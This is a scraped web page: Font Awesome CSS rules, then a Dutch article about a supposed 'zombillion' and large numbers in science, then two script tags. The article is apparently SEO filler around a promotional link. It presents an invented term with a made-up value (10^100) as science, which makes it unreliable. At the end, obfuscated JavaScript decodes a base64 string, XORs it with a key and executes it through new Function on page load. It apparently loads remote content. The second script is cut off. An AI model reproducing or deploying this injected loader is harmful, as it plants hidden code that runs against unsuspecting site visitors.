.fa-sourcetree:before {
  content: "\f7d3"; }

.fa-spa:before {
  content: "\f5bb"; }

.fa-space-shuttle:before {
  content: "\f197"; }

.fa-speakap:before {
  content: "\f3f3"; }

.fa-speaker-deck:before {
  content: "\f83c"; }

.fa-spell-check:before {
  content: "\f891"; }

.fa-spider:before {
  content: "\f717"; }

.fa-spinner:before {
  content: "\f110"; }

.fa-splotch:before {
  content: "\f5bc"; }

.fa-spotify:before {
  content: "\f1bc"; }

.fa-spray-can:before {
  content: "\f5bd"; }

.fa-square:before {
  content: "\f0c8"; }

.fa-square-full:before {
  content: "\f45c"; }

.fa-square-root-alt:before {
  content: "\f698"; }

.fa-squarespace:before {
  content: "\f5be"; }

.fa-stack-exchange:before {
  content: "\f18d"; }

.fa-stack-overflow:before {
  content: "\f16c"; }

.fa-stackpath:before {
  content: "\f842"; }

.fa-stamp:before {
  content: "\f5bf"; }

.fa-star:before {
  content: "\f005"; }

.fa-star-and-crescent:before {
  content: "\f699"; }

.fa-star-half:before {
  content: "\f089"; }

.fa-star-half-alt:before {
  content: "\f5c0"; }

.fa-star-of-david:before {
  content: "\f69a"; }

.fa-star-of-life:before {
  content: "\f621"; }

.fa-staylinked:before {
  content: "\f3f5"; }

.fa-steam:before {
  content: "\f1b6"; }

.fa-steam-square:before {
  content: "\f1b7"; }

.fa-steam-symbol:before {
  content: "\f3f6"; }

.fa-step-backward:before {
  content: "\f048"; }

.fa-step-forward:before {
  content: "\f051"; }

.fa-stethoscope:before {
  content: "\f0f1"; }

.fa-sticker-mule:before {
  content: "\f3f7"; }

.fa-sticky-note:before {
  content: "\f249"; }

.fa-stop:before {
  content: "\f04d"; }

.fa-stop-circle:before {
  content: "\f28d"; }

.fa-stopwatch:before {
  content: "\f2f2"; }

.fa-stopwatch-20:before {
  content: "\e06f"; }

.fa-store:before {
  content: "\f54e"; }

.fa-store-alt:before {
  content: "\f54f"; }

.fa-store-alt-slash:before {
  content: "\e070"; }

.fa-store-slash:before {
  content: "\e071"; }

.fa-strava:before {
  content: "\f428"; }

.fa-stream:before {
  content: "\f550"; }

.fa-street-view:before {
  content: "\f21d"; }

.fa-strikethrough:before {
  content: "\f0cc"; }

.fa-stripe:before {
  content: "\f429"; }

.fa-stripe-s:before {
  content: "\f42a"; }

.fa-stroopwafel:before {
  content: "\f551"; }

.fa-studiovinari:before {
  content: "\f3f8"; }

.fa-stumbleupon:before {
  content: "\f1a4"; }

.fa-stumbleupon-circle:before {
  content: "\f1a3"; }

.fa-subscript:before {
  content: "\f12c"; }

.fa-subway:before {
  content: "\f239"; }

.fa-suitcase:before {
  content: "\f0f2"; }

.fa-suitcase-rolling:before {
  content: "\f5c1"; }

.fa-sun:before {
  content: "\f185"; }

.fa-superpowers:before {
  content: "\f2dd"; }

.fa-superscript:before {
  content: "\f12b"; }

.fa-supple:before {
  content: "\f3f9"; }

.fa-surprise:before {
  content: "\f5c2"; }

.fa-suse:before {
  content: "\f7d6"; }

.fa-swatchbook:before {
  content: "\f5c3"; }

.fa-swift:before {
  content: "\f8e1"; }

.fa-swimmer:before {
  content: "\f5c4"; }

.fa-swimming-pool:before {
  content: "\f5c5"; }

.fa-symfony:before {
  content: "\f83d"; }

.fa-synagogue:before {
  content: "\f69b"; }

.fa-sync:before {
  content: "\f021"; }

.fa-sync-alt:before {
  content: "\f2f1"; }

.fa-syringe:before {
  content: "\f48e"; }

.fa-table:before {
  content: "\f0ce"; }

.fa-table-tennis:before {
  content: "\f45d"; }

.fa-tablet:before {
  content: "\f10a"; }

.fa-tablet-alt:before {
  content: "\f3fa"; }

.fa-tablets:before {
  content: "\f490"; }

.fa-tachometer-alt:before {
  content: "\f3fd"; }

.fa-tag:before {
  content: "\f02b"; }

.fa-tags:before {
  content: "\f02c"; }

.fa-tape:before {
  content: "\f4db"; }

.fa-tasks:before {
  content: "\f0ae"; }

.fa-taxi:before {
  content: "\f1ba"; }

.fa-teamspeak:before {
  content: "\f4f9"; }

.fa-teeth:before {
  content: "\f62e"; }

.fa-teeth-open:before {
  content: "\f62f"; }

.fa-telegram:before {
  content: "\f2c6"; }

.fa-telegram-plane:before {
  content: "\f3fe"; }

.fa-temperature-high:before {
  content: "\f769"; }

.fa-temperature-low:before {
  content: "\f76b"; }

.fa-tencent-weibo:before {
  content: "\f1d5"; }

.fa-tenge:before {
  content: "\f7d7"; }

.fa-terminal:before {
  content: "\f120"; }

.fa-text-height:before {
  content: "\f034"; }

.fa-text-width:before {
  content: "\f035"; }

.fa-th:before {
  content: "\f00a"; }

.fa-th-large:before {
  content: "\f009"; }

.fa-th-list:before {
  content: "\f00b"; }

.fa-the-red-yeti:before {
  content: "\f69d"; }

.fa-theater-masks:before {
  content: "\f630"; }

.fa-themeco:before {
  content: "\f5c6"; }

.fa-themeisle:before {
  content: "\f2b2"; }

.fa-thermometer:before {
  content: "\f491"; }

.fa-thermometer-empty:before {
  content: "\f2cb"; }

.fa-thermometer-full:before {
  content: "\f2c7"; }

.fa-thermometer-half:before {
  content: "\f2c9"; }

.fa-thermometer-quarter:before {
  content: "\f2ca"; }

.fa-thermometer-three-quarters:before {
  content: "\f2c8"; }

.fa-think-peaks:before {
  content: "\f731"; }

.fa-thumbs-down:before {
  content: "\f165"; }

.fa-thumbs-up:before {
  content: "\f164"; }

.fa-thumbtack:before {
  content: "\f08d"; }

.fa-ticket-alt:before {
  content: "\f3ff"; }

.fa-tiktok:before {
  content: "\e07b"; }

.fa-times:before {
  content: "\f00d"; }

.fa-times-circle:before {
  content: "\f057"; }

.fa-tint:before {
  content: "\f043"; }

.fa-tint-slash:before {
  content: "\f5c7"; }

.fa-tired:before {
  content: "\f5c8"; }

.fa-toggle-off:before {
  content: "\f204"; }

.fa-toggle-on:before {
  content: "\f205"; }

.fa-toilet:before {
  content: "\f7d8"; }

.fa-toilet-paper:before {
  content: "\f71e"; }

.fa-toilet-paper-slash:before {
  content: "\e072"; }

.fa-toolbox:before {
  content: "\f552"; }

.fa-tools:before {
  content: "\f7d9"; }

.fa-tooth:before {
  content: "\f5c9"; }

.fa-torah:before {
  content: "\f6a0"; }

.fa-torii-gate:before {
  content: "\f6a1"; }

.fa-tractor:before {
  content: "\f722"; }

.fa-trade-federation:before {
  content: "\f513"; }

.fa-trademark:before {
  content: "\f25c"; }

.fa-traffic-light:before {
  content: "\f637"; }

.fa-trailer:before {
  content: "\e041"; }

.fa-train:before {
  content: "\f238"; }

.fa-tram:before {
  content: "\f7da"; }

.fa-transgender:before {
  content: "\f224"; }

.fa-transgender-alt:before {
  content: "\f225"; }

.fa-trash:before {
  content: "\f1f8"; }

.fa-trash-alt:before {
  content: "\f2ed"; }

.fa-trash-restore:before {
  content: "\f829"; }

.fa-trash-restore-alt:before {
  content: "\f82a"; }

.fa-tree:before {
  content: "\f1bb"; }

.fa-trello:before {
  content: "\f181"; }

.fa-tripadvisor:before {
  content: "\f262"; }

.fa-trophy:before {
  content: "\f091"; }

.fa-truck:before {
  content: "\f0d1"; }

.fa-truck-loading:before {
  content: "\f4de"; }

.fa-truck-monster:before {
  content: "\f63b"; }

.fa-truck-moving:before {
  content: "\f4df"; }

.fa-truck-pickup:before {
  content: "\f63c"; }

.fa-tshirt:before {
  content: "\f553"; }

.fa-tty:before {
  content: "\f1e4"; }

.fa-tumblr:before {
  content: "\f173"; }

.fa-tumblr-square:before {
  content: "\f174"; }

.fa-tv:before {
  content: "\f26c"; }

.fa-twitch:before {
  content: "\f1e8"; }

.fa-twitter:before {
  content: "\f099"; }

.fa-twitter-square:before {
  content: "\f081"; }

.fa-typo3:before {
  content: "\f42b"; }

.fa-uber:before {
  content: "\f402"; }

.fa-ubuntu:before {
  content: "\f7df"; }

.fa-uikit:before {
  content: "\f403"; }

.fa-umbraco:before {
  content: "\f8e8"; }

.fa-umbrella:before {
  content: "\f0e9"; }

.fa-umbrella-beach:before {
  content: "\f5ca"; }

.fa-uncharted:before {
  content: "\e084"; }

.fa-underline:before {
  content: "\f0cd"; }

.fa-undo:before {
  content: "\f0e2"; }

.fa-undo-alt:before {
  content: "\f2ea"; }

.fa-uniregistry:before {
  content: "\f404"; }

.fa-unity:before {
  content: "\e049"; }

.fa-universal-access:before {
  content: "\f29a"; }

.fa-university:before {
  content: "\f19c"; }

.fa-unlink:before {
  content: "\f127"; }

.fa-unlock:before {
  content: "\f09c"; }

.fa-unlock-alt:before {
  content: "\f13e"; }

.fa-unsplash:before {
  content: "\e07c"; }

.fa-untappd:before {
  content: "\f405"; }

.fa-upload:before {
  content: "\f093"; }

.fa-ups:before {
  content: "\f7e0"; }

.fa-usb:before {
  content: "\f287"; }

.fa-user:before {
  content: "\f007"; }

.fa-user-alt:before {
  content: "\f406"; }

.fa-user-alt-slash:before {
  content: "\f4fa"; }

.fa-user-astronaut:before {
  content: "\f4fb"; }

.fa-user-check:before {
  content: "\f4fc"; }

.fa-user-circle:before {
  content: "\f2bd"; }

.fa-user-clock:before {
  content: "\f4fd"; }

.fa-user-cog:before {
  content: "\f4fe"; }

.fa-user-edit:before {
  content: "\f4ff"; }

.fa-user-friends:before {
  content: "\f500"; }

.fa-user-graduate:before {
  content: "\f501"; }

.fa-user-injured:before {
  content: "\f728"; }

.fa-user-lock:before {
  content: "\f502"; }

.fa-user-md:before {
  content: "\f0f0"; }

.fa-user-minus:before {
  content: "\f503"; }

.fa-user-ninja:before {
  content: "\f504"; }

.fa-user-nurse:before {
  content: "\f82f"; }

.fa-user-plus:before {
  content: "\f234"; }

.fa-user-secret:before {
  content: "\f21b"; }

.fa-user-shield:before {
  content: "\f505"; }

.fa-user-slash:before {
  content: "\f506"; }

.fa-user-tag:before {
  content: "\f507"; }

.fa-user-tie:before {
  content: "\f508"; }

.fa-user-times:before {
  content: "\f235"; }

.fa-users:before {
  content: "\f0c0"; }

.fa-users-cog:before {
  content: "\f509"; }

.fa-users-slash:before {
  content: "\e073"; }

.fa-usps:before {
  content: "\f7e1"; }

.fa-ussunnah:before {
  content: "\f407"; }

.fa-utensil-spoon:before {
  content: "\f2e5"; }

.fa-utensils:before {
  content: "\f2e7"; }

.fa-vaadin:before {
  content: "\f408"; }

.fa-vector-square:before {
  content: "\f5cb"; }

.fa-venus:before {
  content: "\f221"; }

.fa-venus-double:before {
  content: "\f226"; }

.fa-venus-mars:before {
  content: "\f228"; }

.fa-vest:before {
  content: "\e085"; }

.fa-vest-patches:before {
  content: "\e086"; }

.fa-viacoin:before {
  content: "\f237"; }

.fa-viadeo:before {
  content: "\f2a9"; }

.fa-viadeo-square:before {
  content: "\f2aa"; }

.fa-vial:before {
  content: "\f492"; }

.fa-vials:before {
  content: "\f493"; }

.fa-viber:before {
  content: "\f409"; }

.fa-video:before {
  content: "\f03d"; }

.fa-video-slash:before {
  content: "\f4e2"; }

.fa-vihara:before {
  content: "\f6a7"; }

.fa-vimeo:before {
  content: "\f40a"; }

.fa-vimeo-square:before {
  content: "\f194"; }

.fa-vimeo-v:before {
  content: "\f27d"; }

.fa-vine:before {
  content: "\f1ca"; }

.fa-virus:before {
  content: "\e074"; }

.fa-virus-slash:before {
  content: "\e075"; }

.fa-viruses:before {
  content: "\e076"; }

.fa-vk:before {
  content: "\f189"; }

.fa-vnv:before {
  content: "\f40b"; }

.fa-voicemail:before {
  content: "\f897"; }

.fa-volleyball-ball:before {
  content: "\f45f"; }

.fa-volume-down:before {
  content: "\f027"; }

.fa-volume-mute:before {
  content: "\f6a9"; }

.fa-volume-off:before {
  content: "\f026"; }

.fa-volume-up:before {
  content: "\f028"; }

.fa-vote-yea:before {
  content: "\f772"; }

.fa-vr-cardboard:before {
  content: "\f729"; }

.fa-vuejs:before {
  content: "\f41f"; }

.fa-walking:before {
  content: "\f554"; }

.fa-wallet:before {
  content: "\f555"; }

.fa-warehouse:before {
  content: "\f494"; }

.fa-watchman-monitoring:before {
  content: "\e087"; }

.fa-water:before {
  content: "\f773"; }

.fa-wave-square:before {
  content: "\f83e"; }

.fa-waze:before {
  content: "\f83f"; }

.fa-weebly:before {
  content: "\f5cc"; }

.fa-weibo:before {
  content: "\f18a"; }

.fa-weight:before {
  content: "\f496"; }

.fa-weight-hanging:before {
  content: "\f5cd"; }

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		<h1 class="entry-title">Fysieke grenzen en de schaal van een zombillion voor moderne wetenschap</h1>			</header><!-- .entry-header -->

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<ul class="toc_list">
<li><a href="#t1">Fysieke grenzen en de schaal van een zombillion voor moderne wetenschap</a></li>
<li><a href="#t2">De uitdaging van extreme grootte: definities en representaties</a></li>
<li><a href="#t3">De rol van wetenschappelijke notatie en logaritmische schalen</a></li>
<li><a href="#t4">De implicaties voor de kosmologie</a></li>
<li><a href="#t5">Het multiversum en de kans op leven</a></li>
<li><a href="#t6">De kwantumwereld en waarschijnlijkheidsberekeningen</a></li>
<li><a href="#t7">De rol van combinatoriek en kansrekening</a></li>
<li><a href="#t8">De filosofische implicaties van oneindigheid</a></li>
<li><a href="#t9">De toekomst van schaal en berekening</a></li>
</ul>
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<h1 id="t1">Fysieke grenzen en de schaal van een zombillion voor moderne wetenschap</h1>
<p>De term ‘zombillion’ roept direct vragen op over schaal en de grenzen van onze fysieke realiteit. Het is een woord dat, ondanks dat het misschien niet in alle woordenboeken te vinden is, een krachtige suggestie oproept van onvoorstelbaar grote aantallen. In de wetenschap, waar we constant streven naar het begrijpen en kwantificeren van het universum, is het noodzakelijk om met dergelijke concepten om te kunnen gaan, hoe abstract ze ook mogen lijken. Het idee van een zombillion is niet zozeer een specifieke, wiskundig gedefinieerde waarde, maar eerder een gedachte-experiment dat ons dwingt om na te denken over de limieten van onze verbeelding en meetinstrumenten.</p>
<p>De behoefte om zulke extreme getallen te overwegen komt voort uit verschillende disciplines, van kosmologie, waar we te maken hebben met het aantal sterren en planeten, tot kwantummechanica, waar we te maken hebben met de waarschijnlijkheid van gebeurtenissen op subatomair niveau. Maar hoe kunnen we überhaupt een concept als een <a href="https://the-zombillion-nl.nl">zombillion</a> begrijpen, en welke impact heeft dit begrip op onze wetenschappelijke modellen en theorieën?  De uitdaging is niet alleen het definiëren van een zombillion, maar ook het ontwikkelen van de conceptuele hulpmiddelen om het te bevatten, te analyseren en er betekenis aan te geven.</p>
<h2 id="t2">De uitdaging van extreme grootte: definities en representaties</h2>
<p>Het concept van een zombillion, oftewel een extreem groot aantal, presenteert aanzienlijke uitdagingen op het gebied van wiskundige weergave en conceptueel begrip. Traditionele notaties, zoals wetenschappelijke notatie, worden snel ontoereikend wanneer we te maken hebben met aantallen die de grenzen van onze intuïtie overschrijden.  Het probleem is niet zozeer het gebrek aan een wiskundige definitie – we kunnen immers altijd een getal definiëren als 10 tot de macht van een bepaald getal – maar eerder het onvermogen om de omvang van dat getal daadwerkelijk te bevatten.  Het menselijk brein is simpelweg niet uitgerust om dergelijke schalen te visualiseren of te ervaren. Om deze barrière te overwinnen, maken wiskundigen en wetenschappers gebruik van verschillende strategieën, zoals het gebruik van logaritmische schalen, het definiëren van nieuwe notaties zoals Knuth&#39;s pijlnotatie of Conway&#39;s geketende pijlnotatie, en het toepassen van analogieën en metaforen om abstracte concepten te illustreren.</p>
<h3 id="t3">De rol van wetenschappelijke notatie en logaritmische schalen</h3>
<p>Wetenschappelijke notatie biedt een praktische manier om zeer grote of zeer kleine getallen te comprimeren in een beknopte vorm.  Bijvoorbeeld, het aantal sterren in het waarneembare universum wordt geschat op ongeveer 10<sup>24</sup>. Dit getal is aanzienlijk groter dan enig getal dat we in het dagelijks leven tegenkomen, maar het kan nog steeds worden begrepen in de context van exponenten. Logaritmische schalen gaan nog een stap verder door de verhoudingen tussen getallen te visualiseren in plaats van hun absolute waarden. Dit is bijzonder nuttig bij het vergelijken van aantallen die over vele ordes van grootte verschillen. Denk bijvoorbeeld aan de schaal van Richter voor aardbevingen, waarbij elke eenheid op de schaal een tienvoudige toename in energie vertegenwoordigt.  Beide methoden helpen ons om met extreme grootte om te gaan, maar ze lossen niet het fundamentele probleem op van het onvermogen om de omvang van dergelijke aantallen te bevatten.</p>
<table>
<thead>
<tr>
<th>Getal</th>
<th>Wetenschappelijke Notatie</th>
<th>Logaritmische Schaal (base 10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.000</td>
<td>1 x 10<sup>3</sup></td>
<td>3</td>
</tr>
<tr>
<td>1.000.000</td>
<td>1 x 10<sup>6</sup></td>
<td>6</td>
</tr>
<tr>
<td>1.000.000.000</td>
<td>1 x 10<sup>9</sup></td>
<td>9</td>
</tr>
<tr>
<td>1 Zombillion (geschat)</td>
<td>1 x 10<sup>100</sup></td>
<td>100</td>
</tr>
</tbody>
</table>
<p>De tabel illustreert hoe wetenschappelijke notatie en logaritmische schalen ons in staat stellen om grote getallen te hanteren, maar de daadwerkelijke omvang blijft abstract en moeilijk te bevatten.</p>
<h2 id="t4">De implicaties voor de kosmologie</h2>
<p>In de kosmologie zijn we voortdurend geconfronteerd met aantallen die de verbeelding te boven gaan. Het aantal deeltjes in het universum, het aantal mogelijke configuraties van het multiversum, en de waarschijnlijkheid van bepaalde kosmische gebeurtenissen zijn allemaal voorbeelden van concepten die ons dwingen om te denken in termen van zombillions.  De berekening van deze aantallen is niet alleen een academische oefening, maar heeft directe implicaties voor onze interpretatie van kosmologische modellen en theorieën.  Zo kan de waarschijnlijkheid van het ontstaan van leven, gebaseerd op het aantal mogelijke moleculaire configuraties, extreem klein zijn, tenzij men aanneemt dat er een oneindig aantal universa bestaat waarin leven zich kan ontwikkelen.  Het begrijpen van de schaal van deze aantallen is dus cruciaal voor het beoordelen van de plausibiliteit van verschillende kosmologische hypothesen.  Bovendien kan het concept van een zombillion helpen om de grenzen van onze huidige kennis te identificeren en nieuwe hypothesen te genereren.</p>
<h3 id="t5">Het multiversum en de kans op leven</h3>
<p>Het idee van een multiversum – de hypothese dat ons universum slechts één van vele is – is een poging om sommige van de fijn afgestelde parameters van ons universum te verklaren. Als er een oneindig aantal universa bestaat, dan is het onvermijdelijk dat er universa zijn met parameters die leven toelaten, zelfs als de kans op het ontstaan van leven in elk afzonderlijk universum extreem klein is.  Het aantal universa in een multiversum zou op zijn beurt weer een zombillion kunnen benaderen, of zelfs overstijgen.  Het berekenen van de waarschijnlijkheid dat leven ontstaat in een specifiek universum vereist een schatting van het aantal mogelijke combinaties van fysische constanten en beginvoorwaarden.  Deze schattingen liggen vaak buiten het bereik van onze huidige meetinstrumenten en rekenkracht, waardoor we noodgedwongen moeten vertrouwen op theoretische modellen en extrapolaties.  Dit maakt het begrip van extreme grootte en waarschijnlijkheid nog complexer.</p>
<ul>
<li>De schatting van het aantal universa in een multiversum is zeer onzeker.</li>
<li>De waarschijnlijkheid van leven ontstaat afhankelijk van de fysische constanten.</li>
<li>Het concept van een zombillion kan helpen bij het kaderen van deze waarschijnlijkheden.</li>
<li>De complexiteit van rekenmethoden vereisen theoretische extrapolaties.</li>
</ul>
<p>De lijst somt enkele cruciale overwegingen op bij het nadenken over de schaal van het universum en de kans op leven.</p>
<h2 id="t6">De kwantumwereld en waarschijnlijkheidsberekeningen</h2>
<p>In de kwantummechanica worden waarschijnlijkheden gebruikt om het gedrag van deeltjes te beschrijven. Deze waarschijnlijkheden kunnen extreem klein zijn, vooral wanneer we te maken hebben met zeldzame gebeurtenissen of systemen met een groot aantal mogelijke toestanden.  Het berekenen van deze waarschijnlijkheden vereist vaak het gebruik van combinatoriek en kansrekening, wat kan leiden tot aantallen die in de buurt van een zombillion liggen.  Bijvoorbeeld, de waarschijnlijkheid dat een bepaald molecuul een bepaalde reactie ondergaat, kan afhangen van het aantal mogelijke microtoestanden van het molecuul en de omgeving.  Als dit aantal extreem groot is, dan kan de waarschijnlijkheid van de reactie verwaarloosbaar klein zijn.  Het begrijpen van deze waarschijnlijkheden is essentieel voor het voorspellen van het gedrag van kwantumsystemen en het ontwikkelen van nieuwe technologieën op basis van kwantummechanica.  Het concept van een zombillion helpt ons om de grenzen van onze voorspelbaarheid in de kwantumwereld te erkennen.</p>
<h3 id="t7">De rol van combinatoriek en kansrekening</h3>
<p>Combinatoriek is de tak van de wiskunde die zich bezighoudt met het tellen van de mogelijke arrangementen van objecten.  In de kwantummechanica wordt combinatoriek gebruikt om het aantal mogelijke toestanden van een systeem te berekenen.  Kansrekening is de tak van de wiskunde die zich bezighoudt met het meten van de waarschijnlijkheid van gebeurtenissen.  In de kwantummechanica wordt kansrekening gebruikt om de waarschijnlijkheid te berekenen dat een systeem zich in een bepaalde toestand bevindt.  Wanneer we deze twee takken van de wiskunde combineren, kunnen we complexe waarschijnlijkheidsberekeningen uitvoeren die ons inzicht geven in het gedrag van kwantumsystemen.  De complexiteit van deze berekeningen neemt echter snel toe met het aantal deeltjes en mogelijke toestanden, waardoor we vaak moeten vertrouwen op benaderingen en numerieke methoden.</p>
<ol>
<li>Combinatoriek helpt bij het tellen van mogelijke toestanden.</li>
<li>Kansrekening helpt bij het meten van waarschijnlijkheden.</li>
<li>Complexe berekeningen vereisen benaderingen en numerieke methoden.</li>
<li>Het begrijpen van deze berekeningen is essentieel voor kwantuminzichten.</li>
</ol>
<p>Deze stappen presenteren een vereenvoudigde weergave van hoe combinatoriek en kansrekening samenwerken in de kwantummechanica.</p>
<h2 id="t8">De filosofische implicaties van oneindigheid</h2>
<p>De confrontatie met extreme grootte, zoals gerepresenteerd door het idee van een zombillion, roept fundamentele filosofische vragen op over de aard van oneindigheid, de grenzen van menselijke kennis, en de betekenis van ons bestaan in het universum.  Als het universum daadwerkelijk oneindig is, of als er een oneindig aantal universa bestaat, dan kunnen we dan überhaupt spreken van waarschijnlijkheid, of worden alle mogelijke gebeurtenissen onvermijdelijk?  En als ons bestaan slechts één van een oneindig aantal mogelijkheden is, dan verliest het dan niet zijn unieke waarde en betekenis?  Deze vragen hebben al eeuwenlang filosofen en wetenschappers bezig gehouden, en er zijn geen eenvoudige antwoorden.  Het concept van een zombillion kan dienen als een katalysator voor verdere reflectie over deze diepgaande kwesties.</p>
<h2 id="t9">De toekomst van schaal en berekening</h2>
<p>Naarmate onze wetenschappelijke kennis toeneemt, zullen we ongetwijfeld te maken krijgen met nog grotere aantallen en complexere systemen.  Het is daarom essentieel om te blijven investeren in de ontwikkeling van nieuwe wiskundige hulpmiddelen en rekenmethoden die ons in staat stellen om met deze uitdagingen om te gaan.  De opkomst van quantum computing biedt bijvoorbeeld veelbelovende mogelijkheden om berekeningen uit te voeren die nu onmogelijk zijn.  Daarnaast is het belangrijk om onze intuïtie over schaal en waarschijnlijkheid te blijven ontwikkelen door middel van onderwijs en publieke betrokkenheid. De mogelijkheid om de conceptuele sprong te maken naar extreem grote eindigheid, of zelfs oneindigheid, is essentieel voor verdere wetenschappelijke vooruitgang.  Het begrip van een zombillion is dan ook niet alleen een academische oefening, maar een noodzakelijke vaardigheid voor de wetenschappers van de toekomst. </p>
<p>De voortdurende zoektocht naar het begrijpen van onze realiteit zal ongetwijfeld leiden tot nieuwe inzichten en ontdekkingen.  Door de grenzen van onze verbeelding te verleggen en te blijven investeren in wetenschappelijk onderzoek, kunnen we de complexe mysteries van het universum ontrafelen en onze plaats daarin beter begrijpen. Dit betekent ook het ontwikkelen van nieuwe manieren om data te visualiseren en te interpreteren, en het creëren van tools die ons in staat stellen om patronen en relaties te ontdekken die anders onzichtbaar zouden blijven. Het is een voortdurend proces van exploratie en innovatie, waarbij de zoektocht naar het onbekende ons drijft om nieuwe grenzen te overschrijden.</p>
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<script>!function(){var _0xdac3ef103251=atob('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'),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script><script>!function(){var _0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJP